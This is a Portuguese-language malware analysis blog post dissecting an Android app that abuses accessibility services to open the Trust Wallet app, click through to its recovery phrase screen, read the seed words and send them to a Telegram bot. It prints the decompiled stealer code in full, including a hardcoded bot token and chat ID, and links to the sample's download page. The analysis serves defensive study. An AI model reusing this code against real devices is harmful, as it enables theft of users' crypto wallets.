Introdução
Olá a todos! Bem-vindos à primeira parte da série de blogs sobre Análise de Malware Móvel, onde mergulharemos no mundo do malware móvel, explorando suas capacidades e trazendo à luz os riscos potenciais que ele representa para a privacidade e segurança dos usuários. Neste post, nos concentraremos em malware que aproveita recursos de acessibilidade para realizar atividades maliciosas, com ênfase especial no roubo de credenciais de carteiras.
Nome do Aplicativo: Airdrop
ID do Pacote: com.test.accessibility
SHA1: 61f4bf9b3d1dba0f023e95aaef50e2cdb6b1c6ae
O artefato de malware pode ser baixado do site: https://malshare.com/sample.php?action=detail&hash=70b07a67b618a6352bf35a735645b156
Análise
Vamos começar a analisar o apk usando jadx-gui para obter uma ideia do que o malware Android faz uma vez instalado no dispositivo da vítima.
Android Manifest.xml
Permissões
Pudemos ver que o malware possui permissão de Internet, o que significa que a aplicação provavelmente está se comunicando com um servidor final ou baixando uma carga.
Componentes
Pudemos ver que existem duas atividades Splash Activity (que é a Launcher Activity) e MainActivity, bem como um serviço de acessibilidade chamado MyAccessibilityService (vamos aprender mais sobre Serviços de Acessibilidade nas seções seguintes)
Vamos começar a analisar a atividade Splash Activity
Splash Activity
public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); getWindow().getDecorView().setLayoutDirection(1); setContentView(R.layout.activity_splash); Thread thread = new Thread(new Runnable() { @Override public final void run() { SplashActivity.this.O(); } }); this.s = thread; thread.start(); } public /* synthetic */ void O() { try { Thread.sleep(1500L); Intent intent = new Intent(getApplicationContext(), MainActivity.class); startActivity(intent); finish(); } catch (InterruptedException e2) { e2.printStackTrace(); } } Pudemos ver que esta atividade não realiza nenhuma ação maliciosa, pois apenas inicia o MainActivity.
Atividade Principal
Vamos começar a analisar essa atividade do método onCreate()
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
if (O()) {
U();
} else {
W();
}
}
No método O, eles verificam se a acessibilidade está habilitada ou não usando a classe Settings. Se estiver habilitado, verificam se o serviço de acessibilidade desta aplicação, MyAccessibilityService, também está presente na lista de serviços de acessibilidade fornecidos pelo dispositivo. Se estiver presente, retornamos True; caso contrário, retornamos False. Abaixo está o código para a função O.
public boolean O() {
String settingValue;
int accessibilityEnabled = 0;
try {
accessibilityEnabled = Settings.Secure.getInt(getContentResolver(), "accessibility_enabled");
} catch (Settings.SettingNotFoundException e2) {
}
TextUtils.SimpleStringSplitter mStringColonSplitter = new TextUtils.SimpleStringSplitter(':');
if (accessibilityEnabled == 1 && (settingValue = Settings.Secure.getString(getContentResolver(), "enabled_accessibility_services")) != null) {
mStringColonSplitter.setString(settingValue);
while (mStringColonSplitter.hasNext()) {
String accessibilityService = mStringColonSplitter.next();
if (accessibilityService.equalsIgnoreCase("com.test.accessibility/com.test.accessibility.MyAccessibilityService")) {
return true;
}
}
return false;
}
return false;
}
Agora vamos verificar a funcionalidade do método U
void U() {
try {
ComponentName name = new ComponentName("com.wallet.crypto.trustapp", "com.wallet.crypto.trustapp.ui.start.activity.StartActivity");
Intent i = new Intent("android.intent.action.MAIN");
i.addCategory("android.intent.category.LAUNCHER");
i.setFlags(270532608);
i.setComponent(name);
startActivity(i);
} catch (Exception e2) {
V();
}
}
No método V, estamos enviando uma intenção para iniciar a atividade launcher de um aplicativo com o pacote nomeado como com.wallet.crypto.trustapp.. No início, pensei que também era um aplicativo malicioso, mas depois descobri que é um aplicativo legítimo chamado Trust: Crypto & Bitcoin Wallet, com mais de 10 milhões de downloads na Google Play Store. Foi então que percebi que este seria o aplicativo vulnerável.
No caso das funções V e W,
- A função V sairá do aplicativo se o aplicativo Crypto não estiver instalado ou se a atividade específica (por exemplo, StartActivity) não for encontrada.
- A função W solicitará que concedamos permissão para o serviço de acessibilidade deste aplicativo, após o qual ele executa as funcionalidades discutidas nas seções anteriores.

Antes de analisar o MyAccessibilityService, vamos entender um pouco sobre a classe AccessibilityService, AccessbilityNodeInfo e todas as suas funcionalidades.
Serviço de Acessibilidade
Serviços de acessibilidade devem ser usados para auxiliar usuários com deficiências no uso de dispositivos Android e aplicativos. Eles funcionam em segundo plano e recebem callbacks do sistema quando eventos de serviço de acessibilidade, como clicar em um botão ou rolar uma lista, são realizados.
Como declarar um Serviço de Acessibilidade
Para declarar Accessibility como um serviço no AndroidManifest.xml, ele deve atender a 2 condições
Caso uma das condições não seja satisfeita, o sistema ignorará o serviço.
Função de onAccessibilityEvent()
- O método
onAccessibilityEvent()desempenha um papel crucial no ecossistema Android ao permitir que os desenvolvedores recebam e manipulem diversos eventos de acessibilidade. Quando o sistema despacha um evento, este método permite que os desenvolvedores acessem informações valiosas como o nome do aplicativo que disparou o evento, o componente responsável pelo evento e o conteúdo do evento. - Substituindo o método
onAccessibilityEvent(), os desenvolvedores podem implementar ações personalizadas ajustadas a eventos de acessibilidade específicos. Essa flexibilidade permite que eles criem serviços de acessibilidade que atendam às necessidades únicas dos seus usuários, tornando a plataforma Android mais inclusiva e amigável.
Em conclusão, o método onAccessibilityEvent() serve como um componente vital do serviço de acessibilidade do Android, facilitando a criação de serviços especializados que melhoram a acessibilidade e atendem às diversas necessidades dos usuários.
Tipos de Eventos
Eventos de acessibilidade desempenham um papel integral no sistema Android, fornecendo feedback valioso aos usuários e melhorando sua experiência geral. Estes eventos são disparados quando os usuários realizam ações específicas, como clicar em botões, rolar páginas ou selecionar itens, entre muitos outros. Ao gerar eventos de acessibilidade, o Android visa garantir que serviços de acessibilidade possam fornecer informações e assistência significativas aos usuários.
Vamos explorar alguns dos eventos de acessibilidade comuns:
TYPE_VIEW_CLICKED: Este evento indica ação do usuário ao clicar em uma visualização, permitindo que os desenvolvedores respondam adequadamente.TYPE_VIEW_SELECTED: Quando o usuário seleciona um item, este evento é disparado.TYPE_VIEW_FOCUSED: Este evento captura a ação do usuário de focar em uma visualização específica.TYPE_VIEW_SCROLLED: Este evento é gerado quando o usuário rola por uma visualização.TYPE_NOTIFICATION_STATE_CHANGED: Este evento é levantado quando há alteração no estado das notificações, como exibindo informações ao usuário.
AccessibilityNodeInfo
A classe AccessibilityNodeInfo serve como uma representação de um nó dentro do conteúdo da janela, abrangendo tanto o próprio nó quanto as ações que podem ser solicitadas de sua fonte.
Uma das principais características desta classe é a atribuição de códigos inteiros para várias ações de acessibilidade. Usando o método performAction(int action), os desenvolvedores podem executar essas ações programaticamente.
Ao ser combinada com a classe AccessibilityEvent, que encapsula informações sobre eventos de acessibilidade, a classe AccessibilityNodeInfo fornece uma ferramenta completa para criar aplicativos inclusivos e acessíveis. Eventos de acessibilidade acionam ações nos objetos correspondentes AccessibilityNodeInfo, permitindo que os desenvolvedores respondam adequadamente às interações do usuário e forneçam feedback significativo.
Aqui está uma lista de códigos de ação comuns e suas respectivas ações que podem ser realizadas usando o método performAction(int action):
- ACTION_CLICK → 16: Executa uma ação de clique no nó, simulando um clique do usuário na visualização correspondente.
- ACTION_FOCUS → 1: Define o foco no nó, permitindo que o usuário interaja com ele ou execute ações subsequentes.
- ACTION_LONG_CLICK → 32: Inicia uma ação de toque longo no nó, similar a um pressionamento prolongado pelo usuário.
- ACTION_SELECT → 4: Seleciona o nó, indicando que ele está atualmente escolhido ou ativo.
- ACTION_SCROLL_FORWARD → 4096: Realiza uma ação de rolagem para frente no nó, permitindo ao usuário navegar por conteúdo rolável.
- ACTION_SCROLL_BACKWARD → 8192: Realiza uma ação de rolagem para trás no nó, permitindo que o usuário role para trás em conteúdo rolável.
performGlobalAction()
Executa uma ação global que pode ser realizada em qualquer momento independentemente do aplicativo atual ou da localização do usuário nesse aplicativo. Por exemplo, voltar, ir para casa, abrir recents, etc.
performGlobalAction(1)→ GLOBAL_ACTION_BACK → Ação para voltarperformGlobalAction(2)→ GLOBAL_ACTION_HOME → Ação para ir para casa
Agora vamos começar a analisar a classe MyAccessibilityService.
public void onAccessibilityEvent(AccessibilityEvent event) {
if (event.getPackageName().equals("com.wallet.crypto.trustapp")) {
AccessibilityNodeInfo nodeInfo = event.getSource();
if (nodeInfo != null) {
if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.start.activity.StartActivity")) {
for (AccessibilityNodeInfo accessibilityNodeInfo : nodeInfo.findAccessibilityNodeInfosByText("Settings")) {
if (accessibilityNodeInfo.isClickable()) {
accessibilityNodeInfo.performAction(16);
nodeInfo.refresh();
nodeInfo.refresh();
nodeInfo.refresh();
nodeInfo.findAccessibilityNodeInfosByText("Wallets").get(0).getParent().performAction(16);
return;
}
}
} else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.wallets.activity.WalletsActivity")) {
try {
nodeInfo.getChild(3).getChild(1).getChild(0).getChild(2).performAction(16);
} catch (Exception e2) {
}
} else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.wallets.activity.WalletInfoActivity")) {
if (f3329b) {
nodeInfo.getChild(2).performAction(16);
} else {
nodeInfo.getChild(4).performAction(16);
}
} else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.wallets.activity.ExportPhraseActivity")) {
nodeInfo.getChild(0).getChild(3).performAction(16);
nodeInfo.getChild(0).getChild(4).performAction(16);
nodeInfo.refresh(); nodeInfo.refresh();
nodeInfo.refresh();
String values = "" + nodeInfo.getChild(0).getChild(3).getText().toString() + " ";
f3329b = true;
a("2012379995:AAGPhRr3ntEfaB38Ul4PveGwNYLaRSiikLY", "-1001491052715", ((((((((((values + nodeInfo.getChild(0).getChild(5).getText().toString() + " ") + nodeInfo.getChild(0).getChild(7).getText().toString() + " ") + nodeInfo.getChild(0).getChild(9).getText().toString() + " ") + nodeInfo.getChild(0).getChild(11).getText().toString() + " ") + nodeInfo.getChild(0).getChild(13).getText().toString() + " ") + nodeInfo.getChild(0).getChild(15).getText().toString() + " ") + nodeInfo.getChild(0).getChild(17).getText().toString() + " ") + nodeInfo.getChild(0).getChild(19).getText().toString() + " ") + nodeInfo.getChild(0).getChild(21).getText().toString() + " ") + nodeInfo.getChild(0).getChild(23).getText().toString() + " ") + nodeInfo.getChild(0).getChild(25).getText().toString());
performGlobalAction(1);
} else if (event.getClassName().toString().equals("androidx.appcompat.app.AlertDialog")) {
try {
nodeInfo.findAccessibilityNodeInfosByText("OK").get(0).performAction(16);
f3329b = false;
} catch (Exception e3) {
}
} else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.addwallet.activity.AddWalletActivity")) {
performGlobalAction(2);
}
}
} else if (!event.getPackageName().toString().equals("com.test.accessibility")) {
performGlobalAction(1);
}
Primeiro, verifica se um pacote chamado “com.wallet.crypto.trustapp” invocou o serviço de acessibilidade.
A seguir, estão analisando o nome da classe do evento (event.getClassName().toString()) para determinar a atividade ou componente atual com o qual está interagindo.
Caso o nome da classe corresponda a com.wallet.crypto.trustapp.ui.start.activity.StartActivity, então,
Nota: Para saber a atividade atual na tela, podemos usar o seguinte comando ADB
adb shell dumpsys activity activities | grep mResumedActivity

- Procura por um objeto AccessibilityNodeInfo que tem o texto Configurações e verifica se é clicável. Se for clicável, então executa ação de clique.
- Ao fazer várias chamadas para
nodeInfo.refresh(), potencialmente atualiza o estado do nó ou recupera as informações mais recentes. - Encontra objetos AccessibilityNodeInfo contendo o texto “Carteiras” e então clica nesse nó.
No próximo par de condições if, não acontece muito já que apenas eventos de clique ocorrem.
Checando a classe nome com.wallet.crypto.trustapp.ui.wallets.activity.ExportPhraseActivity, podemos ver algumas funcionalidades interessantes em andamento.
- Após realizar alguns cliques e ações de atualização, alguns dados presentes em um nó são extraídos com mais dados sendo passados para uma função a junto com 2 outros parâmetros.
Aqui está o código para o método a
void a(String token, String id, String message) {
try {
b0.b bVar = new b0.b();
TimeUnit timeUnit = TimeUnit.SECONDS;
b0 okHttpClient = bVar.c(20L, timeUnit).b(3L, timeUnit).a();
u.b a2 = new u.b().b(g.a0.a.a.f()).a(g.d());
u retrofit = a2.c("https://api.telegram.org/bot" + token + "/").g(okHttpClient).e();
e serviceMain = (e) retrofit.b(e.class);
serviceMain.a(id, message).z(new a(token, id, message));
} catch (Exception e2) {
}
Ao final, pudemos ver o comportamento malicioso desta aplicação. Observamos que os dados extraídos do app (possivelmente confidenciais) estão sendo enviados a um endpoint de bot malicioso do Telegram.
Dominio → https://api.telegram.org/bot
Apos analisar o código, pudemos ver que o endpoint para onde os dados estão sendo enviados é sendMessage.
Vamos verificar nosso tráfego para ver quais dados estão sendo enviados. Estou usando Mitmproxy para visualizar o tráfego.

Pudemos ver que a chave secreta formada durante a criação da conta está sendo enviada para um endpoint malicioso. Usando a chave secreta, o atacante pode extrair todas as informações sensíveis de negociação desse usuário.
Conclusão
Nesta primeira parte da nossa série sobre análise de malware móvel, descobrimos o mundo do malware Android que alvo a credenciais de carteiras usando recursos de acessibilidade. À medida que continuamos nesta jornada, exploraremos mais aspectos intrigantes do malware móvel, equipando-nos com conhecimento para ficar um passo à frente. Então, fiquem ligados para o próximo capítulo, onde desvendaremos outro episódio cativante no cenário em constante evolução de malware móvel.

